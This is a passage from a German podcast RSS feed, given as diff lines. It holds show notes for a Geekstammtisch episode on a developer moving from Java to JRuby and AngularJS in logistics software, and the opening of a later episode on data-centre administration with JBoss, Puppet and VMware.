+ * Der Geekstammtisch und die Nerdkunde beim Rudelpodcasten: http://das-sendezentrum.de/blog/podcasts-aus-unserer-30c3-assembly
+ * Das neue Büro des Home Office Cologne in der Lindenstraße 14: https://twitter.com/HomeOfficeCGN/status/425630254364119040
+
+### Unser Gast (00:02:45)
+
+ * Matthias hat mit Dirk & Basti studiert
+ * …und hat nach dem Studium als Java Entwickler bei einer Softwarefirma im "Telekommunikationsumfeld" gearbeitet
+ * Matthias hat dort nie Admins zu Gesicht bekommen :)
+ * Nach vier Jahren hat Matthias dann etwas neues gesucht und ist in der Logistikbranche gelandet
+ * Kleineres Unternehmen, eigene Produkte, jeder macht alles (Matthias ist also "auch" Admin)
+ * wollte weiter auf der JVM entwickeln
+ * Scala: http://www.scala-lang.org/
+ * Clojure Koans: http://clojurekoans.com/
+ * Seven Languages in Seven Weeks: A Pragmatic Guide to Learning Programming Languages (von Bruce A. Tate): http://pragprog.com/book/btlang/seven-languages-in-seven-weeks
+
+### Java-Entwicklung (00:12:30)
+
+ * Dirk hat das letzte mal ernsthaft Java 2005 gemacht (mit Apache Struts, http://struts.apache.org/); "Das war schlimm!" – Dirk
+ * Basti hat es nie ernsthaft gemacht (abgesehen vom Studium)
+ * "Java, das Ökosystem"
+ * Die JVM ist ein Erfolgsmodell
+ * K virtual machine (KVM): http://en.wikipedia.org/wiki/K_virtual_machine
+ * Java Platform, Micro Edition, J2ME: http://en.wikipedia.org/wiki/Java_Platform,_Micro_Edition
+ * Java EE Application Server: http://en.wikipedia.org/wiki/Comparison_of_application_servers
+ * Java ME / SE / EE: http://docs.oracle.com/javaee/6/firstcup/doc/gkhoy.html
+ * Java Community Process: https://www.jcp.org/en/home/index
+ * Servlet API ist Teil der Java EE
+ * Spring Framework: http://spring.io/
+ * Zwischen Anhängern von Spring und Java EE hat sich ein flame war entwickelt:
+ * Blog Beitrag eines bekannten JEE Evangelist inkl. Antworten von Spring Mitarbeitern in den Kommentaren: https://blogs.oracle.com/arungupta/entry/why_java_ee_6_is
+ * Antwort eines VMWare Mitarbeiters: http://www.iamjambay.com/2012/03/arun-gupta-java-ee-6-and-spring.html
+ * tl;dr: hier eine Zusammenfassung auf deutsch: http://jaxenter.de/news/JavaEE-versus-Spring-Hitzige-Debatte-um-Arun-Guptas-Legacy-Vorwurf
+ * Matthias würde immer Spring wählen, da es dynamischer ist und aktueller
+ * Spring legt wesentlich mehr Wert auf Testing
+ * Java 8 SE Release März 2014, EE dann wesentlich später, irgendwann noch später lassen sich Application Server zertifizieren
+ * Vielzahl an Java Frameworks für jeden Zweck
+ * Web Frameworks, die "Großen" http://zeroturnaround.com/rebellabs/the-curious-coders-java-web-frameworks-comparison-spring-mvc-grails-vaadin-gwt-wicket-play-struts-and-jsf/
+ * Liste von sonstigen Web Frameworks: http://java-source.net/open-source/web-frameworks
+ * Liste von Persistenz Frameworks: http://java-source.net/open-source/persistence
+ * Frameworks zur asynchronen Verarbeitung:
+ * http://spring.io/blog/2013/05/13/reactor-a-foundation-for-asynchronous-applications-on-the-jvm
+ * http://akka.io/
+ * http://vertx.io/
+ * Web Service Frameworks, Xfire, Apache CXF
+ * DAO / ActiveRecord als Beispiel dafür, dass in Rails Dinge falsch angegangen werden
+ * dies kann aber für einfache Anwendungsfälle in Ordnung sein, findet Matthias, Dirk sieht das aber anders
+ * DAOs sind lange Standard in Java Apps gewesen
+ * mittlerweile werden häufig Repositories eingesetzt: http://thinkinginobjects.com/2012/08/26/dont-use-dao-use-repository/
+ * Repository Ansatz in Java EE 6 / 7
+ * Misko Hevery zu AR: http://misko.hevery.com/2009/05/05/the-problem-with-active-record/
+ * Spring Roo nutzt ActiveRecord Pattern in Java Apps: http://docs.spring.io/spring-roo/reference/html/architecture.html#architecture-dao
+ * AR in Rails tief verwurzelt, ermöglicht aber die Geschwindigkeit in der Rails Entwicklung
+ * Matthias findet opinionated Ansatz in Rails gut
+ * Matthias macht mittlerweile Projekte mit JRuby on Rails, AngularJS und Elasticsearch
+ * Elasticsearch basiert auf Lucene, in Java geschrieben
+
+### Deployment & JVM (01:20:00)
+
+ * JRuby ist ein guter Einstieg in Ruby-Entwicklung gewesen, da man "nur" ein WAR (https://en.wikipedia.org/wiki/WAR_(file_format)) erstellen muss und es im bisherigen Application-Server deployed
+ * Java Wissen auf der Betriebsseite kann im Grunde 1:1 weiter verwendet werden
+ * Auch Deploymentstruktur über Jenkins konnte weiter verwendet werden
+ * Deployment via JMX (https://en.wikipedia.org/wiki/Java_Management_Extensions)
+ * Das WAR wird per Warbler erstellt (http://caldersphere.rubyforge.org/warbler/)
+ * Switch von Java auf JRuby ist schneller gemacht als die Umstellung von JBoss auf nginx+passenger (o.ä.)
+ * Maven ist auch im Projekt \o/
+
+### Entwicklungsumgebung (01:23:05)
+
+ * Matthias hat jahrelang Eclipse verwendet, dann zu IntelliJ gegangen
+ * Mit Ruby dann zu RubyMine gegangen (bzw. IntelliJ mit Ruby-Plugin)
+ * Sublime Text auch mal ausprobiert, geweint
+ * Vim ausprobiert, noch mehr geweint
+ * AngularJS auch in RubyMine, Alternativ auch WebStorm vielleicht eine Möglichkeit
+ * Lokale Entwicklung ist schneller geworden, da kein Kompilieren und Deployment mehr
+ * Lokal wird die Anwendung mit Puma/JRuby entwickelt sowie Grunt für JavaScript
+ * Keine weiteren Java-Abhängigkeiten (außer dem Datenbanktreiber)
+ * Basti möchte wissen wie der Umstieg von IDE in die Welt des Terminals war
+ * Matthias ist aber leider ein schlechtes Beispiel ;-) Er hat Eclipse eigentlich immer "nur" als Editor verwendet
+ * Matthias würde sich gerne auch Vim mal ansehen, aber scheut derzeit die Lernkurve
+ * Frage: Warum Vim? Antwort: Kosten. Aber wir stellen in Frage, ob die Kosten wirklich ein Grund ist. Wahrscheinlich nicht :-)
+ * Insgesamt ist Matthias noch in der Findungsphase: RubyMine ist aber ein Favorit
+ * Matthias hat Spaß auf neue Tools umzustellen :-)
+
+### Next Steps (01:30:47)
+
+ * Derzeit macht er AngularJS Entwicklung, Testing mit Karma, Jasmine, PhantomJS
+ * Es wird auch für Mobile-Plattformen mit AngularJS und Cordova (https://cordova.apache.org/) entwickelt
+ * Die Software die derzeit entwickelt wird, ist sehr allgemein einsetzbar
+ * Im Grunde geht darum Firmen zu unterstützen ihren Kram zusammenzuhalten
+ * Zusätzlich gibt es Systeme die auf Gabelstapler montiert werden
+ * Der Branchenwechseln war eine gute Idee
+
+### Fazit (01:33:10)
+
+ * Bewertung des Wechsels: Positiv, nicht nur wegen dem Spaß sich in neue Dinge einzuarbeiten
+ * Frontend-Entwicklung mit AngularJS fühlt sich tatsächlich mal an wie Entwicklung ;-)
+ * Gab es auch Probleme bei der Umstellung?
+ * Einige Mitarbeiter wollen sich nicht mit so vielen Technologien befassen, das kann auch OK sein, aber man muss damit als Unternehmen/Team umgehen
+ * Ein Kollege ist auch gegangen, da er mehr .NET machen wollte
+ * Lernkurven müssen an die Geschäftsführung und die anderen Kollegen kommuniziert werden
+ * Viele Parallenen zu GST019 (http://geekstammtisch.de/#GST019)
+ * Die Umstellung ist unter anderem auch dadurch motiviert worden, weil der Chef die Folge gehört hat :-)
+ * Frage dann vom Chef: Was ist eigentlich dieses Ruby und Rails? Und wenn das so gut ist, warum machen das nicht alle?
+ * Entwicklungsgeschwindigkeit hat mit überzeugt
+
+### Ausklang (01:38:35)
+
+ * Wir sind uns einig, dass die Folge Leute nicht davon abhalten wird weiter Java zu bashen. Dafür ist es auch einfach zu lustig.
+ * Kritiker werden sagen: "Matthias hat ja dann doch von Java auf Ruby gewechselt"
+ * Matthias hat sich eigentlich auf Java 8 gefreut
+ * Das Unternehmen wird nie ganz auf (J)Ruby umstellen, dafür gibt es zu viele Bereiche in denen man Software entwickelt. Gleichzeitig macht das den Reiz aus
+ * JRuby hat zwar kein Komitee aber dennoch genug Entwicklungsresourcen :-)
+ * Problem ist aber, dass die Community recht klein ist und man schwieriger Lösungen für seine Probleme findet:
+ * Erste Einschränkung: JRuby
+ * Zweiter Einschränkung: JBoss Deployment
+ * Matthias empfiehlt: Wenn man kein Java-Know-How hat, einfach MRI verwenden
+ * Wir fordern Matthias zu Usergroups zu kommen und ihr Wissen zu teilen
+ * Vor allem JRuby Wissen in die Welt zu tragen lohnt sich
+ * NoSQL-Matters als Konferenz Empfehlung (http://2014.nosql-matters.org/cgn/)
+ * Wenn man ernsthaft JRuby macht, kann man auch mal mit dem Core-Team Kontakt aufnehmen, die freuen sich über derartiges Feedback
+
+### Hiring-Pitch (01:44:06)
+
+ * Wir fragen explizit nach ob noch Entwickler gesucht werden
+ * Antwort: Ja
+ * Firma sitzt in St. Augustin, direkt neben der FH
+ * FrOSCon quasi einen Steinwurf entfernt ;-)
+ * Aufgaben sind sehr vielfältig (Mobile-Entwicklung, Emedded-Entwicklung, Hardware-Entwicklung, Web-Entwicklung, Infrastruktur, etc.)
+ * Die Branche nennt sich: Intra-Logistik
+ * Die Firma heißt IdentPro: http://www.identpro.de/de/, aber bitte nicht von der Webseite abschrecken lassen, die ist old-school-Industrie-kompatibel \o/]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Matthias ist Softwareentwickler und erzählt uns wie er jahrelang
+Java im Telko-Sektor gemacht hat. Vor einem Jahr hat er dann die Branche und
+die auch die Größe des Unternehmens radikal geändert und macht nun
+Produktentwicklung in der Logistikbranche. Neben Java wird dort viel im
+Embedded-Bereich entwickelt und trotz eines kleinen Teams sind die Aufgaben
+sehr vielfältig. Seit neuestem wird Software nun auch mit JRuby und AngularJS
+umgesetzt. Wir erfahren über die damit verbundenen Herausforderungen und wie
+damit umgegangen wurde.</p>
+
+<h3>Einleitung &amp; GST-Meta (00:00:00)</h3>
+
+<ul>
+<li>Matthias Richter (<a href="https://twitter.com/mr_samma">@mr_samma</a>) ist heute unser Gast</li>
+<li>GST019 mit Stefan Schiffer &quot;Weg von .NET &amp; Windows&quot;: <a href="http://geekstammtisch.de/#GST019">http://geekstammtisch.de/#GST019</a></li>
+<li>Der Geekstammtisch und die Nerdkunde beim Rudelpodcasten: <a href="http://das-sendezentrum.de/blog/podcasts-aus-unserer-30c3-assembly">http://das-sendezentrum.de/blog/podcasts-aus-unserer-30c3-assembly</a></li>
+<li>Das neue Büro des Home Office Cologne in der Lindenstraße 14: <a href="https://twitter.com/HomeOfficeCGN/status/425630254364119040">https://twitter.com/HomeOfficeCGN/status/425630254364119040</a></li>
+</ul>
+
+<h3>Unser Gast (00:02:45)</h3>
+
+<ul>
+<li>Matthias hat mit Dirk &amp; Basti studiert</li>
+<li>…und hat nach dem Studium als Java Entwickler bei einer Softwarefirma im &quot;Telekommunikationsumfeld&quot; gearbeitet</li>
+<li>Matthias hat dort nie Admins zu Gesicht bekommen :)</li>
+<li>Nach vier Jahren hat Matthias dann etwas neues gesucht und ist in der Logistikbranche gelandet</li>
+<li>Kleineres Unternehmen, eigene Produkte, jeder macht alles (Matthias ist also &quot;auch&quot; Admin)</li>
+<li>wollte weiter auf der JVM entwickeln</li>
+<li>Scala: <a href="http://www.scala-lang.org/">http://www.scala-lang.org/</a></li>
+<li>Clojure Koans: <a href="http://clojurekoans.com/">http://clojurekoans.com/</a></li>
+<li>Seven Languages in Seven Weeks: A Pragmatic Guide to Learning Programming Languages (von Bruce A. Tate): <a href="http://pragprog.com/book/btlang/seven-languages-in-seven-weeks">http://pragprog.com/book/btlang/seven-languages-in-seven-weeks</a></li>
+</ul>
+
+<h3>Java-Entwicklung (00:12:30)</h3>
+
+<ul>
+<li>Dirk hat das letzte mal ernsthaft Java 2005 gemacht (mit Apache Struts, <a href="http://struts.apache.org/">http://struts.apache.org/</a>); &quot;Das war schlimm!&quot; – Dirk</li>
+<li>Basti hat es nie ernsthaft gemacht (abgesehen vom Studium)</li>
+<li>&quot;Java, das Ökosystem&quot;</li>
+<li>Die JVM ist ein Erfolgsmodell</li>
+<li>K virtual machine (KVM): <a href="http://en.wikipedia.org/wiki/K_virtual_machine">http://en.wikipedia.org/wiki/K_virtual_machine</a></li>
+<li>Java Platform, Micro Edition, J2ME: <a href="http://en.wikipedia.org/wiki/Java_Platform,_Micro_Edition">http://en.wikipedia.org/wiki/Java_Platform,_Micro_Edition</a></li>
+<li>Java EE Application Server: <a href="http://en.wikipedia.org/wiki/Comparison_of_application_servers">http://en.wikipedia.org/wiki/Comparison_of_application_servers</a></li>
+<li>Java ME / SE / EE: <a href="http://docs.oracle.com/javaee/6/firstcup/doc/gkhoy.html">http://docs.oracle.com/javaee/6/firstcup/doc/gkhoy.html</a></li>
+<li>Java Community Process: <a href="https://www.jcp.org/en/home/index">https://www.jcp.org/en/home/index</a></li>
+<li>Servlet API ist Teil der Java EE</li>
+<li>Spring Framework: <a href="http://spring.io/">http://spring.io/</a></li>
+<li>Zwischen Anhängern von Spring und Java EE hat sich ein flame war entwickelt:
+
+<ul>
+<li>Blog Beitrag eines bekannten JEE Evangelist inkl. Antworten von Spring Mitarbeitern in den Kommentaren: <a href="https://blogs.oracle.com/arungupta/entry/why_java_ee_6_is">https://blogs.oracle.com/arungupta/entry/why_java_ee_6_is</a></li>
+<li>Antwort eines VMWare Mitarbeiters: <a href="http://www.iamjambay.com/2012/03/arun-gupta-java-ee-6-and-spring.html">http://www.iamjambay.com/2012/03/arun-gupta-java-ee-6-and-spring.html</a></li>
+<li>tl;dr: hier eine Zusammenfassung auf deutsch: <a href="http://jaxenter.de/news/JavaEE-versus-Spring-Hitzige-Debatte-um-Arun-Guptas-Legacy-Vorwurf">http://jaxenter.de/news/JavaEE-versus-Spring-Hitzige-Debatte-um-Arun-Guptas-Legacy-Vorwurf</a></li>
+</ul></li>
+<li>Matthias würde immer Spring wählen, da es dynamischer ist und aktueller</li>
+<li>Spring legt wesentlich mehr Wert auf Testing</li>
+<li>Java 8 SE Release März 2014, EE dann wesentlich später, irgendwann noch später lassen sich Application Server zertifizieren </li>
+<li>Vielzahl an Java Frameworks für jeden Zweck</li>
+<li>Web Frameworks, die &quot;Großen&quot; <a href="http://zeroturnaround.com/rebellabs/the-curious-coders-java-web-frameworks-comparison-spring-mvc-grails-vaadin-gwt-wicket-play-struts-and-jsf/">http://zeroturnaround.com/rebellabs/the-curious-coders-java-web-frameworks-comparison-spring-mvc-grails-vaadin-gwt-wicket-play-struts-and-jsf/</a></li>
+<li>Liste von sonstigen Web Frameworks: <a href="http://java-source.net/open-source/web-frameworks">http://java-source.net/open-source/web-frameworks</a></li>
+<li>Liste von Persistenz Frameworks: <a href="http://java-source.net/open-source/persistence">http://java-source.net/open-source/persistence</a></li>
+<li>Frameworks zur asynchronen Verarbeitung:
+
+<ul>
+<li><a href="http://spring.io/blog/2013/05/13/reactor-a-foundation-for-asynchronous-applications-on-the-jvm">http://spring.io/blog/2013/05/13/reactor-a-foundation-for-asynchronous-applications-on-the-jvm</a></li>
+<li><a href="http://akka.io/">http://akka.io/</a></li>
+<li><a href="http://vertx.io/">http://vertx.io/</a></li>
+</ul></li>
+<li>Web Service Frameworks, Xfire, Apache CXF</li>
+<li>DAO / ActiveRecord als Beispiel dafür, dass in Rails Dinge falsch angegangen werden
+
+<ul>
+<li>dies kann aber für einfache Anwendungsfälle in Ordnung sein, findet Matthias, Dirk sieht das aber anders</li>
+</ul></li>
+<li>DAOs sind lange Standard in Java Apps gewesen
+
+<ul>
+<li>mittlerweile werden häufig Repositories eingesetzt: <a href="http://thinkinginobjects.com/2012/08/26/dont-use-dao-use-repository/">http://thinkinginobjects.com/2012/08/26/dont-use-dao-use-repository/</a></li>
+</ul></li>
+<li>Repository Ansatz in Java EE 6 / 7</li>
+<li>Misko Hevery zu AR: <a href="http://misko.hevery.com/2009/05/05/the-problem-with-active-record/">http://misko.hevery.com/2009/05/05/the-problem-with-active-record/</a></li>
+<li>Spring Roo nutzt ActiveRecord Pattern in Java Apps: <a href="http://docs.spring.io/spring-roo/reference/html/architecture.html#architecture-dao">http://docs.spring.io/spring-roo/reference/html/architecture.html#architecture-dao</a></li>
+<li>AR in Rails tief verwurzelt, ermöglicht aber die Geschwindigkeit in der Rails Entwicklung</li>
+<li>Matthias findet opinionated Ansatz in Rails gut</li>
+<li>Matthias macht mittlerweile Projekte mit JRuby on Rails, AngularJS und Elasticsearch</li>
+<li>Elasticsearch basiert auf Lucene, in Java geschrieben</li>
+</ul>
+
+<h3>Deployment &amp; JVM (01:20:00)</h3>
+
+<ul>
+<li>JRuby ist ein guter Einstieg in Ruby-Entwicklung gewesen, da man &quot;nur&quot; ein WAR (<a href="https://en.wikipedia.org/wiki/WAR_(file_format)">https://en.wikipedia.org/wiki/WAR_(file_format)</a>) erstellen muss und es im bisherigen Application-Server deployed</li>
+<li>Java Wissen auf der Betriebsseite kann im Grunde 1:1 weiter verwendet werden</li>
+<li>Auch Deploymentstruktur über Jenkins konnte weiter verwendet werden</li>
+<li>Deployment via JMX (<a href="https://en.wikipedia.org/wiki/Java_Management_Extensions">https://en.wikipedia.org/wiki/Java_Management_Extensions</a>)</li>
+<li>Das WAR wird per Warbler erstellt (<a href="http://caldersphere.rubyforge.org/warbler/">http://caldersphere.rubyforge.org/warbler/</a>)</li>
+<li>Switch von Java auf JRuby ist schneller gemacht als die Umstellung von JBoss auf nginx+passenger (o.ä.)</li>
+<li>Maven ist auch im Projekt \o/</li>
+</ul>
+
+<h3>Entwicklungsumgebung (01:23:05)</h3>
+
+<ul>
+<li>Matthias hat jahrelang Eclipse verwendet, dann zu IntelliJ gegangen</li>
+<li>Mit Ruby dann zu RubyMine gegangen (bzw. IntelliJ mit Ruby-Plugin)</li>
+<li>Sublime Text auch mal ausprobiert, geweint</li>
+<li>Vim ausprobiert, noch mehr geweint</li>
+<li>AngularJS auch in RubyMine, Alternativ auch WebStorm vielleicht eine Möglichkeit</li>
+<li>Lokale Entwicklung ist schneller geworden, da kein Kompilieren und Deployment mehr</li>
+<li>Lokal wird die Anwendung mit Puma/JRuby entwickelt sowie Grunt für JavaScript</li>
+<li>Keine weiteren Java-Abhängigkeiten (außer dem Datenbanktreiber)</li>
+<li>Basti möchte wissen wie der Umstieg von IDE in die Welt des Terminals war</li>
+<li>Matthias ist aber leider ein schlechtes Beispiel ;-) Er hat Eclipse eigentlich immer &quot;nur&quot; als Editor verwendet</li>
+<li>Matthias würde sich gerne auch Vim mal ansehen, aber scheut derzeit die Lernkurve</li>
+<li>Frage: Warum Vim? Antwort: Kosten. Aber wir stellen in Frage, ob die Kosten wirklich ein Grund ist. Wahrscheinlich nicht :-)</li>
+<li>Insgesamt ist Matthias noch in der Findungsphase: RubyMine ist aber ein Favorit</li>
+<li>Matthias hat Spaß auf neue Tools umzustellen :-)</li>
+</ul>
+
+<h3>Next Steps (01:30:47)</h3>
+
+<ul>
+<li>Derzeit macht er AngularJS Entwicklung, Testing mit Karma, Jasmine, PhantomJS</li>
+<li>Es wird auch für Mobile-Plattformen mit AngularJS und Cordova (<a href="https://cordova.apache.org/">https://cordova.apache.org/</a>) entwickelt</li>
+<li>Die Software die derzeit entwickelt wird, ist sehr allgemein einsetzbar</li>
+<li>Im Grunde geht darum Firmen zu unterstützen ihren Kram zusammenzuhalten</li>
+<li>Zusätzlich gibt es Systeme die auf Gabelstapler montiert werden</li>
+<li>Der Branchenwechseln war eine gute Idee</li>
+</ul>
+
+<h3>Fazit (01:33:10)</h3>
+
+<ul>
+<li>Bewertung des Wechsels: Positiv, nicht nur wegen dem Spaß sich in neue Dinge einzuarbeiten</li>
+<li>Frontend-Entwicklung mit AngularJS fühlt sich tatsächlich mal an wie Entwicklung ;-)</li>
+<li>Gab es auch Probleme bei der Umstellung?
+
+<ul>
+<li>Einige Mitarbeiter wollen sich nicht mit so vielen Technologien befassen, das kann auch OK sein, aber man muss damit als Unternehmen/Team umgehen</li>
+<li>Ein Kollege ist auch gegangen, da er mehr .NET machen wollte</li>
+<li>Lernkurven müssen an die Geschäftsführung und die anderen Kollegen kommuniziert werden</li>
+<li>Viele Parallenen zu GST019 (<a href="http://geekstammtisch.de/#GST019">http://geekstammtisch.de/#GST019</a>)</li>
+<li>Die Umstellung ist unter anderem auch dadurch motiviert worden, weil der Chef die Folge gehört hat :-)</li>
+</ul></li>
+<li>Frage dann vom Chef: Was ist eigentlich dieses Ruby und Rails? Und wenn das so gut ist, warum machen das nicht alle?</li>
+<li>Entwicklungsgeschwindigkeit hat mit überzeugt</li>
+</ul>
+
+<h3>Ausklang (01:38:35)</h3>
+
+<ul>
+<li>Wir sind uns einig, dass die Folge Leute nicht davon abhalten wird weiter Java zu bashen. Dafür ist es auch einfach zu lustig.</li>
+<li>Kritiker werden sagen: &quot;Matthias hat ja dann doch von Java auf Ruby gewechselt&quot;</li>
+<li>Matthias hat sich eigentlich auf Java 8 gefreut</li>
+<li>Das Unternehmen wird nie ganz auf (J)Ruby umstellen, dafür gibt es zu viele Bereiche in denen man Software entwickelt. Gleichzeitig macht das den Reiz aus</li>
+<li>JRuby hat zwar kein Komitee aber dennoch genug Entwicklungsresourcen :-)</li>
+<li>Problem ist aber, dass die Community recht klein ist und man schwieriger Lösungen für seine Probleme findet:
+
+<ul>
+<li>Erste Einschränkung: JRuby</li>
+<li>Zweiter Einschränkung: JBoss Deployment</li>
+</ul></li>
+<li>Matthias empfiehlt: Wenn man kein Java-Know-How hat, einfach MRI verwenden</li>
+<li>Wir fordern Matthias zu Usergroups zu kommen und ihr Wissen zu teilen</li>
+<li>Vor allem JRuby Wissen in die Welt zu tragen lohnt sich</li>
+<li>NoSQL-Matters als Konferenz Empfehlung (<a href="http://2014.nosql-matters.org/cgn/">http://2014.nosql-matters.org/cgn/</a>)</li>
+<li>Wenn man ernsthaft JRuby macht, kann man auch mal mit dem Core-Team Kontakt aufnehmen, die freuen sich über derartiges Feedback</li>
+</ul>
+
+<h3>Hiring-Pitch (01:44:06)</h3>
+
+<ul>
+<li>Wir fragen explizit nach ob noch Entwickler gesucht werden</li>
+<li>Antwort: Ja</li>
+<li>Firma sitzt in St. Augustin, direkt neben der FH</li>
+<li>FrOSCon quasi einen Steinwurf entfernt ;-)</li>
+<li>Aufgaben sind sehr vielfältig (Mobile-Entwicklung, Emedded-Entwicklung, Hardware-Entwicklung, Web-Entwicklung, Infrastruktur, etc.)</li>
+<li>Die Branche nennt sich: Intra-Logistik</li>
+<li>Die Firma heißt IdentPro: <a href="http://www.identpro.de/de/">http://www.identpro.de/de/</a>, aber bitte nicht von der Webseite abschrecken lassen, die ist old-school-Industrie-kompatibel \o/</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST029" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Einleitung &amp; GST-Meta" />
+
+ <psc:chapter start="00:02:45" title="Unser Gast" />
+
+ <psc:chapter start="00:12:30" title="Java-Entwicklung" />
+
+ <psc:chapter start="01:20:00" title="Deployment &amp; JVM" />
+
+ <psc:chapter start="01:23:05" title="Entwicklungsumgebung" />
+
+ <psc:chapter start="01:30:47" title="Next Steps" />
+
+ <psc:chapter start="01:33:10" title="Fazit" />
+
+ <psc:chapter start="01:38:35" title="Ausklang" />
+
+ <psc:chapter start="01:44:06" title="Hiring-Pitch" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST030 - Turnschuhadministration</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Wir sprachen mit Essy (@casheeew) über das spannende Dasein einer Administratorinnen</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst030.mp3" length="89107770" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST030</guid>
+ <pubDate>Mon, 24 Mar 2014 15:02:41 +0100</pubDate>
+ <itunes:duration>02:03:22</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Mit Essy (@casheeew) sprachen wir ausführlich über das Leben und
+Arbeiten einer Administratorin innerhalb eines großen Rechenzentrums. Es geht
+um Prozesse, Betrieb, Deployment und Komplexität im Umfeld von großen
+Hostingumgebungen. Wir gehen auf diverse Aspekte etwas näher ein und erhalten
+einen recht vollständigen Einblick in ihren Arbeitsalltag.
+
+### Unser Gast (00:00:00)
+
+ * Essy podcastet sonst bei der Nerdkunde: http://nerdkun.de
+ * Hat mal "Bindestrichinformatik" studiert und macht nun ihren berufsbegleitenden Master an der FH-Köln
+ * Master Studium WebScience an der FH Köln: http://webscience.fh-koeln.de/live/
+ * Basti und Dirk haben an der FH Köln auch ihren Master gemacht: http://www.medieninformatik.fh-koeln.de/website/general/startseite/startseite_527/de/de_startseite_articl_1.php
+ * Es gibt eine gewisse Deckungsgleichheit bei den Dozenten ^^
+ * Vorlesungen finden abends via Webcam statt
+ * Fokus (noch) auf Theorie, weniger Implementierung
+ * Alle Klausuren (~8) sind an einem Wochenende
+ * Weiterempfehlungsgrad von WebScience: Kommt drauf an was man möchte ;-)
+
+### Deployment über Netzwerkfreigabe (00:10:44)
+
+ * In GST029 (http://geekstammtisch.de/#GST029) haben wir über Java-Entwicklung und Betrieb gesprochen, dabei viel der Begriff JBoss
+ * Und Essy setzt sich beruflich mit dem Betrieb von Anwendungen auf dem JBoss auseinander
+ * Essy arbeitet bei einem großen Rechenzentrum in Köln
+ * Betrieben werden dort die unterschiedlichsten Anwendungen (vor allem auch große Anwendungen mit vielen Abhängigkeiten)
+ * Herausforderungen: Leben mit komplexeren Prozessen als bei einem Fancy-Web-Startupâ„¢
+ * Deployment für den JBoss läuft zum Beispiel so ab:
+ * Kunde legt Auszug aus seinem JBoss inkl. aller Konfigurationen auf einer Netzwerkfreigabe ab
+ * Essy sucht Änderungen zwischen altem und neuem Stand heraus
+ * Änderungen werden auf allen Systemen eingespielt
+ * Klingt umständlich und ist es auch, daher der Plan: Verwendung von Puppet: http://puppetlabs.com/
+ * Trotz der Strukturen und Prozesse ist es Essy und ihren Kollegen überlassen welche Tools intern verwendet werden, solange das Ergebnis am Ende passt
+ * Warum mit Puppet? Die nächste Version des Red Hat Enterprise Satellite Server (http://de.redhat.com/products/enterprise-linux/satellite/) setzt auf Puppet auf, daher war hier der Wunsch Puppet auch für weitere Bereiche einzusetzen
+
+### Server, Monitoring & Bereitschaft (00:26:00)
+
+ * Essy verantwortet den vollständigen Server
+ * Die Maschine wird lediglich von einem anderen Team bereitgestellt und übergeben
+ * Neben Maschinen für Kunden gibt es auch Maschinen für Forschung & Entwicklung
+ * Basis-Monitoring (Erreichbarkeit, Plattenfüllstand, etc) kommt mit dem Server mit
+ * Weiteres Monitoring lässt sich dann hinzufügen
+ * Monitoring läuft über Icinga (https://www.icinga.org/), einem Nagios (http://www.nagios.org/) Ableger
+ * Es gibt natürlich auch eine 24x7 Bereitschaft (in der nicht alle Server enthalten sind)
+ * Folge ist: Systeme werden so redundant und solide aufgesetzt, dass man Nachts nicht angerufen wird
+ * Das bedeutet auch, dass man Bereitschaft für Systeme machen muss, die man in der Regel nicht selbst betreut
+ * Dafür existiert dann entsprechende Dokumentation, die regelmäßig kontrolliert und auditiert wird
+
+### Softwarelandschaft (00:35:48)
+
+ * Unterschiedlichste Versionsstände von (beispielsweise) Java (von alt bis ganz neu)
+ * JBoss wird nicht in der Community-Variante verwendet, sondern in der kommerziell unterstützten
+ * Die Open-Source Variante wird auch nicht mehr JBoss heißen, sondern WildFly (https://github.com/wildfly/wildfly)
+ * Kostet nicht unerheblich, aber weniger im Vergleich zu anderen Produkten
+ * Support lohnt sich und wurde von Essy auch immer mal wieder in Anspruch genommen
+ * Als Dienstleister hat mal im Grunde keine andere Wahl als den kommerziellen Support sowohl von Red Hat Linux als auch JBoss zu nehmen
+ * Aus diesem Grund wird Ruby 1.8.7 auch immer noch von Red Hat gepflegt
+ * Was dann natürlich zu anderen Problemen führt ^^
+
+### Virtualisierung (00:40:40)
+
+ * Ein Großteil der Server laufen auf VMWare ESX Virtualisierung:
+ * Der ESX-Hypervisor läuft direkt auf dem Server ohne weiteres Betriebssytem (https://en.wikipedia.org/wiki/VMware_ESX)
+ * VMware (http://www.vmware.com/de)
+ * VMware vSphere (http://www.vmware.com/de/products/vsphere)
+ * VMware vCenter zum Verwalten/Clustern von mehreren VMware ESX Servern mit DRS (Dynamic Resource Scheduling) und HA (High Availability)(http://www.vmware.com/de/products/vcenter-server)
+ * Einige Dinge machen virtualisiert einfach keinen Sinn (manchmal auch aus Lizenzgründen…)
+ * Virtualisierung ist auf diesem Niveau schon sehr spaßig: Einfach mal laufende Server per Mausklick auf andere Hardware ziehen
+ * Für ein Rechenzentrum extrem sinnvoll
+
+### Prozesszertifizierung, Support und Monitoring der Kaffeemaschinen (00:44:35)
+
+ * Zertifizierung ist für einen Betreiber eines Rechenzentrums sehr wichtig
+ * Die ISO in diesem Fall ist die 27001 (http://de.wikipedia.org/wiki/ISO/IEC_27001)
+ * In diesem Zuge werden vor allem organisatorische Aspekte geprüft
+ * Neben der Dokumentation der Prozesse werden aber auch Gespräche mit Mitarbeitern geführt und exemplarisch Server betrachtet
+ * Das Audit findet jährlich statt
+ * Pentesting (http://de.wikipedia.org/wiki/Penetrationstest_(Informatik)) ist nicht Teil der Zertifizierung
+ * Glücklicherweise keine PCI Zertifizierung (http://de.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard)
+ * Bei der Vielzahl von Kunden und Projekten lassen sich umfangreiche Prozesse am Ende aber nicht vermeiden
+ * Das Maximum an Projekten, die man so übernimmt varriert und hängt von der Komplexität der jeweiligen Projekte ab
+ * Essy macht glücklicherweise kaum bis keinen Support (:
+ * Der Rest des Teams macht aber durchaus auch mehr 2nd-Level Support
+ * 2nd-Level Support hat keinen unmittelbaren Kontakt mit dem Kunden
